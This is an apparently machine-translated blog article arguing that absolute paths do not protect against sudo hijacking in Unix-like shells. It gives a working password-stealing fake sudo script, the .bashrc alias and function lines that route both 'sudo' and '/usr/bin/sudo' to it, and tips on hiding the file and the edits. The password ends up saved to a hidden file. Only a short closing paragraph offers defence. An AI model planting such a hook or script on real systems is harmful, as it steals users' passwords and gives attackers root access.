Is It Safe to Use an Absolute Path in The Unix-like Systems, as We Used to Think?

July 03, 03 PM by James Monroe

919

The idea of editing the user environment variables to elevate the rights in penetration testing is as old as the world. On this topic written many articles and even in books began appearing tips for using an absolute path instead of a relative. Here is an example of such a council from the relatively well-known book UNIX and Linux System Administration Handbook, 4th Edition:

You should take it as a rule with the command to specify the full name, such as /bin/su and /usr/bin/su, and not just su. This will serve as a specific protection from those programs with the name of the su, who deliberately had been prescribed in the path environment variable by an attacker intends to put together a good harvest password.

But is it safe? If you too are asked this question, you are welcome under the cut./p>

Let's order. Suppose we were on the unix-like server under a user account with limited rights. We want to get root access, but we do not know the password. For example, we tried all the usual methods of elevation through an error in the configuration and under the various exploits the kernel, but all to no avail. It would seem that no more options. However, if the user is in the group of the sudo, you can try to crank out one trick.

The idea is that on most unix-like machines sudo is used to elevate the rights temporarily. When using sudo user is required to enter his current password. Therefore, knowledge of the user's password to access to sudo gives us the root.

Almost all modern unix-like servers are using bash or zsh as the default shell. They have a config file (for example, .bashrc for bash), which are stored in your home directory. With their help, you can change almost everything in the shell environment. By default, they have the right to 644 (-rw-r ' r'). Therefore, the owner can edit them without any problems.

The bottom line is that the shells have alias`y with which commands can be shortened.

For example, the standard alias of .bashrc:

alias ll='ls -alF'

When calling ll actually ls -alF will be called. Similarly, we can proceed with sudo:

alias sudo='echo PWNED'

Then performing the sudo command on a relative path will cause what we have indicated in the alias.

Use slashes in the alias are not possible, therefore the absolute path really is a safe solution in this case. Just save the absolute path in the case of editing the PATH environment variable.

Now consider the case in which the absolute path is not a safe solution. In the configuration you can create functions that work similarly to alias except that slashes could be used in their names:

function /usr/bin/sudo() { echo PWNED }

Now the call /usr/bin/sudo will also execute our code.

The next stage is writing the script, which will behave similarly to the sudo (ask for the password and elevate user rights), but at the same time to intercept the user's password and execute arbitrary code with administrator rights.

In the end, we get the execution of the script when trying to invoke sudo through an absolute or relative path.

To get started let's writing the poisonous sudo code:

#!/bin/bash
echo -n "[sudo] password for $LOGNAME: "
read -s password

echo command='whoami'

eval "echo -e $password | sudo -S --prompt='' $command"
eval "echo -e $password | sudo -S --prompt='' $*"

It asks the user password in the sudo-style, and then stores it in a variable, executes our code with elevated privileges, and then does what the user wanted.

Now let's hide it in some inconspicuous directory (eg ~ / .local) and set it +x on the right execution (chmod + x sudo). What is the filename, in fact, does not matter to us, so it's better to call it too somehow unnoticed (e.g., .config).

With reading -s password, we read the password in the variable $password. The variable command = 'whoami' contains commands that we will perform with elevated privileges.

Construction echo -e $password | sudo -S is used here to convey our variable $password with the password to the sudo through stdin.

'prompt = ' needed to no real message 'enter the password' of sudo where displayed when we turn to it. Otherwise, it will look a little suspicious.

Now you need to find the full path to sudo using whereis. For example, /usr/bin/sudo. Let's correct .bashrc so that the sudo command and the /usr/bin/sudo run our script. To do this, write to .bashrc (somewhere in the center inconspicuously) the following code, which must be edited for yourself:

alias sudo='~/.local/.config'
function /usr/bin/sudo() { eval "~/.local/.config $*" }

Profit. Now we will try to save the user's password to a file. To do this, replace the current command.

command="echo $password > ~/.local/.1"

Everything worked out, qwerty123 is the user's password. It remains still a lot of special cases in which our script may behave incorrectly. For example, sudo su or sudo 'help. Since in this paper we consider only the possibility of implementing such an attack, the process of bringing it to shine, I shifted to the shoulders of the reader.

Now you know that the use of the absolute path to unix-like systems is not so safe.

Now the central question: how to protect themselves from possible attacks? In my opinion, the best option would be to allow editing .bashrc only under root. Of course, there is a second choice, but it is less convenient and safe: to constantly check the integrity of the configs.

July 03, 03 PM by James Monroe

919